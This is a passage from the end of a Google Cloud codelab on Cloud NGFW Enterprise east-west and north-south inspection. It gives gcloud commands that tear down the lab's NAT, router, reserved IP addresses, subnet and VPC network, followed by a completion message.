gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Delete reserved IP addresses:

gcloud -q compute addresses delete $prefix-$region-nlbip --region=$region

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

Finally, delete subnet and VPC network:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

9. Congratulations!

Congratulations, you've successfully completed the Cloud NGFW Enterprise for East-West and North-South Inspection codelab.